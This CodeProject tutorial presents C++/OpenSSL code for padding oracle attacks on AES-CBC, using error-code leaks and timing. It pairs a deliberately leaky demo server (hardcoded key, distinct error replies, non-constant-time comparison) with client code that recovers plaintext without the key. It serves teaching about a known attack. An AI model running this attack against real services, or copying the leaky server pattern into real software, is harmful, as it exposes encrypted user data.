Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles / security / cryptography

C++ OpenSSL 3.1 code for Advance Attack on AES-CBC Encryption: Combining Padding Oracle, Timing, and Error Handling Attacks

5.00/5 (2 votes)
14 Aug 2023Public Domain4 min read 6.9K  
C++ OpenSSL 3.1 Attack AES-CBC using Padding Oracle Attack, and Timing Attack
C++ OpenSSL 3.1 code to attack AES-CBC (Advance Encryption Standard with Cipher Block Chaining mode) using Padding Oracle Attack with Error Handling Attack an easy one and one of the side channel attacks namely Timing Attack a tougher one.

Introduction

Attack AES-CBC (Advanced Encryption Standard with Cypher Block Chaining mode) utilizing Padding Oracle Attack and one of the side channel attacks, specifically Timing Attack, a tougher one and Error Handling Attack, an easy one. C++ OpenSSL 3.1 (CygWin GCC with Eclipse IDE on Windows).

The output of the attack is as follows.

Image 1

Background

AES CBC encryption makes it simple to use the Padding Oracle Attack to decrypt ciphertext that has been intercepted while travelling via a network. Professor Dan Boneh did a great job of explaining this. I have used a C++ TCP client server without SSL/TLS TCP to show this attack. When TCP is placed on top of SSL/TLC, this will also function. To illustrate the Error Handling Attack and another Side Channel Attack, the Timing Attack, I used the TCP client server. By just invoking the OpenSSL decryption API, this attack may be duplicated without using any network calls.

Advance Encryption Standard with Cipher-Block Chaining (AES-CBC) mode

There are lot of article on the internet about how AES-CBC works. The diagram show how encryption and decryption works.

Image 2

Image 3

The last block is padded. The valid AES-CBC valid padding blocks are shown in the image below

Image 4

C++ OpenSSL 3.1 code for encryption and Decryption with padding as shown below.

The message is encrypted with padded but the resulting cipher is decrypted by disabling the padding just to show how padding is implemented in AES-CBC.

Image 5

Padding Oracle Attack

Lets take a single block, it can also be a first block or any other block in the middle of the chain as shown in the diagram

Image 6

As per the above diagram it is as XOR as shown below.

Image 7

Here,

Di xor P(i-1) = Mi

where as P(i-1) is the previous block. It may be IV or the cipher text. Mi can be modified by making changes in the pervious block P(i-1)

From the above diagram
D15 xor P15 = M15

Multiply both side with M15 we have
D15 xor P15 xor M15 = M15 xor M15
D15 xor P15 xor M15 = 0

Multiplying both side with 01 we have,
D15 xor P15 xor M15 xor 01 = 01

we get the block as shown in the diagram.

Image 8

By modifying P we get a valid successfully decrypted block. Since M15 is unknown but the value of M15 lies in the range 0 and 255. Trying all the values from 0 to 255, only for one value decryption will be successful and for rest of all other value decryption will fail. When the decryption is successful then we are sure that 'i' is the value of M15 for which we tried.

Now M15 is known, similarly for finding the second value M14 we need to find

D15 xor P15 xor M15 xor 02 = 02
D14 xor P14 xor M14 xor 02 = 02

M15 is know from the previous tries. M14 is not known and the value of M14 lies in the range 0 and 255. Repeating the above process we can easily find the value of M14 as shown in the image.

Image 9

Repeating the same process for rest of the other bytes we can completely decrypt the cipher text without knowing the key just by submitting the modified cipher text to the server and finding whether the decryption was successful or failed.

Using the code

I have added comments in the code that are self explanatory.

There are two sets of client-serve code. One for the Padding Oracle with Error Handling Attack, and another snippet code of Padding Oracle with Timing Attack.

Padding Oracle With Error Handling Attack

C++
//
// Server code that decrypts AES-CBC message and informs various types of error.
//

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>

#include <iostream>
using namespace std;

#include <openssl/err.h>

#include <openssl/bio.h>
#include <openssl/bioerr.h>

#include <openssl/evp.h>
#include <openssl/evperr.h>

#include <sys/socket.h>
#include <unistd.h>
#define PORT 8080

enum enumErrors { FAILUER, SUCCESS, DECRYPTIONERROR, AUTHERROR };

bool DecryptCipher(unsigned char *byCipher, int nCipherLen, unsigned char *szIV, unsigned char *szDycMsg, int& nDycTotMsgLen)
{
    bool bRet = false;
    unsigned char szKey[16] = { 0xAE, 0xF4, 0x00, 0x06, 0x88, 0xB9, 0xCA, 0xF6, 0xE9, 0xF2, 0x28, 0x1B, 0x59, 0x8B, 0x36, 0x94 };
    //unsigned char szIV[16] = { 0xF0, 0xCE, 0xF9, 0x39, 0x2F, 0x94, 0xD1, 0xB8, 0x61, 0x12, 0x3B, 0xFE, 0x96, 0x87, 0x88, 0xE7 };

    EVP_CIPHER_CTX* pEVPAESCBCDecCtx = NULL;
    //cout << "EVP_CIPHER_CTX_new" << endl;
    pEVPAESCBCDecCtx = EVP_CIPHER_CTX_new();

    //cout << "EVP_CipherInit_ex" << endl;
    EVP_CipherInit_ex(pEVPAESCBCDecCtx, EVP_aes_128_cbc(), NULL, szKey, szIV, 0);
    //EVP_CIPHER_CTX_set_padding(pEVPAESCBCDecCtx, 0);
    int nDycMsgen = 0;

    //cout << "EVP_CipherUpdate" << endl;
    if (1 == EVP_CipherUpdate(pEVPAESCBCDecCtx, szDycMsg, &nDycMsgen, byCipher, nCipherLen))
    {
        nDycTotMsgLen += nDycMsgen;
        //cout << "EVP_CipherFinal_ex" << endl;
        if (1 == EVP_CipherFinal_ex(pEVPAESCBCDecCtx, szDycMsg + nDycMsgen, &nDycTotMsgLen))
        {
            nDycTotMsgLen += nDycMsgen;
            bRet = true;
        }
    }
    //cout << "EVP_CIPHER_CTX_free" << endl;
    EVP_CIPHER_CTX_free(pEVPAESCBCDecCtx);

    if (bRet)
    {
        cout << "Decrypted message" << endl;
        BIO_dump_fp(stdout, (const char*)szDycMsg, nDycTotMsgLen);
    }

    return bRet;
}

bool Validate(unsigned char *szDycMsg, int nDycMsgLen)
{
    cout << "Validate" << endl;

    cout << "Decrypted message" << endl;
    BIO_dump_fp(stdout, (const char*)szDycMsg, nDycMsgLen);
    bool bRet = false;

    unsigned char szPassPhrase[] = { "God is good always & every time." };
    int nPassPhraseLen = strlen((const char*)szPassPhrase);
    cout << "Actual message" << endl;
    BIO_dump_fp(stdout, (const char*)szPassPhrase, nPassPhraseLen);

    // I am commenting this for the demonstration of timming attack.
    // But Even this does not solve the attack problem.
    //if (nPassPhraseLen != nEncMsgLen)
    //    return bRet;

    //int nCmp = (nPassPhraseLen < nDycMsgLen)?nPassPhraseLen:nDycMsgLen;
    //if (memcmp(szPassPhrase, szDycMsg, nCmp) == 0)
    if (memcmp(szPassPhrase, szDycMsg, nPassPhraseLen) == 0)
    {
        bRet = true;
        cout << "true" << endl;
    }

    return bRet;
}

int main(int argc, char const* argv[])
{
       int server_fd, new_socket;
       struct sockaddr_in address;
       int opt = 1;
       int addrlen = sizeof(address);

       cout << "socket" << endl;
       // Creating socket file descriptor
       if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
       {
               perror("socket failed");
               exit(EXIT_FAILURE);
       }

       cout << "setsockopt" << endl;
       // Forcefully attaching socket to port 8080
       if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
       {
               perror("setsockopt");
               exit(EXIT_FAILURE);
       }
       address.sin_family = AF_INET;
       address.sin_addr.s_addr = INADDR_ANY;
       address.sin_port = htons(PORT);

       cout << "bind" << endl;
       // Forcefully attaching socket to port 8080
       if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0)
       {
               perror("bind failed");
               exit(EXIT_FAILURE);
       }
       cout << "listen" << endl;
       if (listen(server_fd, 3) < 0)
       {
               perror("listen");
               exit(EXIT_FAILURE);
       }
       cout << "accept" << endl;
       if ((new_socket = accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
       {
               perror("accept");
               exit(EXIT_FAILURE);
       }

       unsigned char szCipher[1024] = { 0 };
       int nCipherLen = 0;
       unsigned char szEncMsg[1024] = { 0 };
       int nEncMsgLen = 0;
       while(1)
       {
           cout << "read" << endl;
           nCipherLen = read(new_socket, szCipher, 1024);
           cout << "The captured cipher text" << endl;
           BIO_dump_fp(stdout, (const char*)szCipher, nCipherLen);

           memset(szEncMsg, 0, 1024);

           int nStatus = enumErrors::SUCCESS;
           if (false == DecryptCipher((unsigned char*)szCipher + 0x10/*Exclude the IV*/, nCipherLen - 0x10 /*Encrypted block without IV*/,
                   szCipher/*IV*/, (unsigned char*)szEncMsg, nEncMsgLen))
           {
               cout << "send Decryption error." << endl;
               nStatus = enumErrors::DECRYPTIONERROR;
               //nStatus = enumErrors::FAILUER;
           }

           if (enumErrors::SUCCESS == nStatus)
           {
               if (false == Validate(szEncMsg, nEncMsgLen))
               {
                   cout << "send authentication error." << endl;
                   nStatus = enumErrors::AUTHERROR;
                   //nStatus = enumErrors::FAILUER;
               }
           }

           cout << "send" << endl;
           send(new_socket, (void*)&nStatus, sizeof(int), 0);
           printf("message sent\n");
           //if (enumErrors::SUCCESS == nStatus)
           //break;

           cout << endl;
       }

       // closing the connected socket
       close(new_socket);
       // closing the listening socket
       shutdown(server_fd, SHUT_RDWR);
       return 0;
}
C++
//
// Client code that sends the AES-CBC cipher text and finds various types of error.
//

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <iostream>
#include <chrono>
using namespace std;

#include <openssl/err.h>

#include <openssl/bio.h>
#include <openssl/bioerr.h>

#include <openssl/evp.h>
#include <openssl/evperr.h>

#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT 8080

enum enumErrors { FAILUER, SUCCESS, DECRYPTIONERROR, AUTHERROR };

int main(int argc, char const* argv[])
{
    int sock = 0, valread, client_fd;
    struct sockaddr_in serv_addr;
    cout << "socket" << endl;
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("\n Socket creation error \n");
        return -1;
    }

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);

    // Convert IPv4 and IPv6 addresses from text to binary
    // form
    cout << "inet_pton" << endl;
    if (inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0)
    {
        printf("\nInvalid address/ Address not supported \n");
        return -1;
    }

    cout << "connect" << endl;
    if ((client_fd = connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) < 0)
    {
        printf("\nConnection Failed \n");
        return -1;
    }

    // We have just the cipher text and we need to decrypt and we don't have the key,
    // using Padding Oracle Attack, and one of the Side Channel Attack namely Timing
    // Attack. I have also commented the code that can also be demonstrated using Error
    // Handling Attack.
    unsigned char szCapturedCipherText[] = {
            0xF0, 0xCE, 0xF9, 0x39, 0x2F, 0x94, 0xD1, 0xB8, 0x61, 0x12, 0x3B, 0xFE, 0x96, 0x87, 0x88, 0xE7, // IV
            0xa1, 0xd2, 0xed, 0x52, 0x90, 0xad, 0x50, 0x83, 0xf4, 0xf0, 0xb7, 0x52, 0x6a, 0x9b, 0x73, 0xb0, // Encrypted message
            0x45, 0xdd, 0xf0, 0xd5, 0x0e, 0x1b, 0x4b, 0xfa, 0xf7, 0xcb, 0x74, 0x2e, 0xc9, 0x8f, 0x6b, 0x52, // Encrypted message
            0xc6, 0x01, 0x6a, 0x89, 0x1f, 0x0f, 0xc0, 0x72, 0xdd, 0x7b, 0xf0, 0x2a, 0xaa, 0x82, 0xbd, 0x91 // encrypted Pad
    };
    int nCapturedCipherLen = 64;
    unsigned char szModifiedCipherText[64];
    int nModifiedCipherLen = 64;
    unsigned char szMessageCracked[32]; // Contains decrypted message
    int nMessageCrackedLen = 0;

    while(1)
    {
        cout << "send the valid cipher text and find the time" << endl;

        std::chrono::system_clock::time_point start_time = std::chrono::system_clock::now();
        send(sock, szCapturedCipherText, nCapturedCipherLen, 0);
        std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now();
        std::chrono::duration elapsed_time = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
        std::cout << "Elapsed time: " << elapsed_time.count() << "ns" << endl;

        printf("message sent\n");

        int nStatus = 0;
        cout << "Get the error message" << endl;
        valread = read(sock, (void*)&nStatus, sizeof(nStatus));
        cout << nStatus << endl;


        memset(szMessageCracked, 0, 32);
        // Trying every byte of cipher and crack the message without the key
        // Drop the last padding block and start from pervious block
        for (int i = nCapturedCipherLen - 0x20 - 1; i >= 0; i--)
        {
            for(unsigned char szVal = 0; szVal < 255; szVal++)
            {
                int nNumOfBlocks = (i / 0x10) + 2;
                int nNumOdBytes = nNumOfBlocks * 0x10;
                // Copy the original cipher text by droping the last block
                nModifiedCipherLen = nNumOdBytes; /*IV + 2 blocks of encrypted message*/
                memcpy(szModifiedCipherText, szCapturedCipherText, nModifiedCipherLen /*Drop the last padded block*/);
                //getchar();

                // Try for every modified cipher by forming a valid pad
                // To create the valid block modify the previous block.
                //szModifiedCipherText[31] ^= szVal ^ (0x01);
                // or
                //szModifiedCipherText[31] ^= szMessageCracked[15] ^ (0x02);
                //cout << nMessageCrackedLen << endl;
                //cout << (nMessageCrackedLen % 0x10) << endl;
                //if (nMessageCrackedLen > 15)
                //    getchar();
                for(int j = 0; j < (nMessageCrackedLen % 0x10); j++)
                {
                    //cout << i << endl << j << endl;
                    szModifiedCipherText[i + j + 1] ^= szMessageCracked[i + j + 1] ^ (0x10 - (i % 0x10));
                }
                //szModifiedCipherText[30] ^= szVal ^ (0x02);
                szModifiedCipherText[i] ^= szVal ^ (0x10 - (i % 0x10));
                send(sock, szModifiedCipherText, nModifiedCipherLen, 0);

                int nStatus1 = 0;
                //cout << "Get the error message" << endl;
                valread = read(sock, (void*)&nStatus1, sizeof(int));
                //cout << nStatus1 << endl;

                // Decryption is successful but authentication failed means
                // The cipher block is the valid block and reveing the
                // decrypted message
                if (enumErrors::AUTHERROR == nStatus1)
                {
                    // The message is only 16 byte exclusig the IV and the padding
                    szMessageCracked[i] = szVal;
                    nMessageCrackedLen++;
                    cout << "Message" << endl;
                    BIO_dump_fp(stdout, (const char*)szMessageCracked, 32);
                    getchar();
                    break;
                }
            }
        }

        cout << "Complete Decrypted message" << endl;
        BIO_dump_fp(stdout, (const char*)szMessageCracked, nMessageCrackedLen);

        if (1 == nStatus)
            break;
    }

    // closing the connected socket
    close(client_fd);
    return 0;
}

Padding Oracle With Timing Attack

The server code always sends same error whether it is decryption error or authentication error. When server sends the same error thee no way for the client to know whether there was an Decryption failure or Validation failure. In this case timing attack will help to find the nature of failure.

C++
//
// Server code that decrypts AES-CBC message and informs only two error SUCCESS or FAILURE.
//
int nStatus = enumErrors::SUCCESS;
if (false == DecryptCipher((unsigned char*)szCipher + 0x10/*Exclude the IV*/, nCipherLen - 0x10 /*Encrypted block without IV*/,
       szCipher/*IV*/, (unsigned char*)szEncMsg, nEncMsgLen))
{
   //cout << "send Decryption error." << endl;
   //nStatus = enumErrors::DECRYPTIONERROR;
   nStatus = enumErrors::FAILUER;
}

if (enumErrors::SUCCESS == nStatus)
{
   if (false == Validate(szEncMsg, nEncMsgLen))
   {
       //cout << "send authentication error." << endl;
       //nStatus = enumErrors::AUTHERROR;
       nStatus = enumErrors::FAILUER;
   }
}

The following is the client code that calculates the time from submitting the modified cipher text to receiving the failure status. Now for every modified cipher text calculate the duration from the time it sent to the time it received the status. Lets assume decryption failure duration is time1 and the validation failure duration is time2. Then time1 < time2 < time3. Using this time one can find whether i was an decryption failure or validation failure. The timing attack may not always yield tee same error and it may prone to errors. A better timing attack can be handled then the one shown below, The code snippet is as given below.

C++
//
// Client code that sends the AES-CBC cipher text and and calculated the time to decryption and Validate to finds various types of error.
//

while(1)
{
    // First calculate the total time to submit the unmodified complete cipher text
    // and receive the success response from the server and assign in time3.
    cout << "Captured cipher text encrypted using AES-CBC mode:" << endl;
    BIO_dump_fp(stdout, (const char*)szCapturedCipherText, nCapturedCipherLen);
    cout << "send the valid cipher text and find the time" << endl;

    std::chrono::system_clock::time_point start_time = std::chrono::system_clock::now();
    send(sock, szCapturedCipherText, nCapturedCipherLen, 0);
    int nStatus = 0;
    valread = read(sock, (void*)&nStatus, sizeof(int));
    std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now();

    std::chrono::duration time3 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
    std::cout << "Elapsed time: " << time3.count() << "ns" << endl;
    cout << nStatus << endl;


    std::chrono::duration time2 = std::chrono::duration_cast<chrono::nanoseconds>(std::chrono::nanoseconds(0));
    std::chrono::duration time1 = std::chrono::duration_cast<chrono::nanoseconds>(std::chrono::nanoseconds(0));
    memset(szMessageCracked, 0, 32);
    // Trying every byte of cipher and crack the message without the key
    // Drop the last padding block and start from pervious block
    for (int i = nCapturedCipherLen - 0x20 - 1; i >= 0; i--)
    {
        for(unsigned char szVal = 0; szVal < 255; szVal++)
        {
            int nNumOfBlocks = (i / 0x10) + 2;
            int nNumOdBytes = nNumOfBlocks * 0x10;
            // Copy the original cipher text by droping the last block
            nModifiedCipherLen = nNumOdBytes; /*IV + 2 blocks of encrypted message*/
            memcpy(szModifiedCipherText, szCapturedCipherText, nModifiedCipherLen /*Drop the last padded block*/);
            //getchar();

            // Try for every modified cipher by forming a valid pad
            // To create the valid block modify the previous block.
            //szModifiedCipherText[31] ^= szVal ^ (0x01);
            // or
            //szModifiedCipherText[31] ^= szMessageCracked[15] ^ (0x02);
            for(int j = 0; j < (nMessageCrackedLen % 0x10); j++)
            {
                //cout << i << endl << j << endl;
                szModifiedCipherText[i + j + 1] ^= szMessageCracked[i + j + 1] ^ (0x10 - (i % 0x10));
            }
            szModifiedCipherText[i] ^= szVal ^ (0x10 - (i % 0x10));

            start_time = std::chrono::system_clock::now();
            send(sock, szModifiedCipherText, nModifiedCipherLen, 0);
            int nStatus1 = 0;
            valread = read(sock, (void*)&nStatus1, sizeof(int));
            end_time = std::chrono::system_clock::now();
            //cout << nStatus1 << endl;

            // By assuming that 0 value where decryption fails but in reality 0 might be include
            // for example if the file is an encrypted binary file. A better way of calculating mey
            // be implemented. But for the sake of demonstration I am using 0 value as failuer case.
            // time1 < tim2r < time3.
            // If time2 lies near to the middle of time1 and time3 Then
            // Decryption was successful but validation failed.
            if (1 == szVal)
                time1 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
            else
                time2 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
            cout << "time1: " << time1.count() <<  endl;
            cout << "time2: " << time2.count() <<  endl;
            cout << "time3: " << time3.count() <<  endl << endl;
            //getchar();

            // Decryption is successful but authentication failed means
            // The cipher block is the valid block and reveling the
            // decrypted message
            //if (enumErrors::AUTHERROR == nStatus1)
            if (time2 < time3 && time2 > time1) // This may not always show the same Behavior and may prone to errors
            {
                // The message is only 16 byte exclusig the IV and the padding
                szMessageCracked[i] = szVal;
                nMessageCrackedLen++;
                //cout << "Message" << endl;
                //BIO_dump_fp(stdout, (const char*)szMessageCracked, 32);
                cout << "time1: " << time1.count() <<  endl;
                cout << "time2: " << time2.count() <<  endl;
                cout << "time3: " << time3.count() <<  endl;
                getchar();
                break;
            }
        }
    }

    cout << "Complete Decrypted message" << endl;
    BIO_dump_fp(stdout, (const char*)szMessageCracked, nMessageCrackedLen);

    if (1 == nStatus)
        break;
}

Points of Interest

Technological Advancement are so strong but the security is so week.

There are three standards to Authenticated Encryption Mode, GCM, CCM, EAX.

License

This article, along with any associated source code and files, is licensed under A Public Domain dedication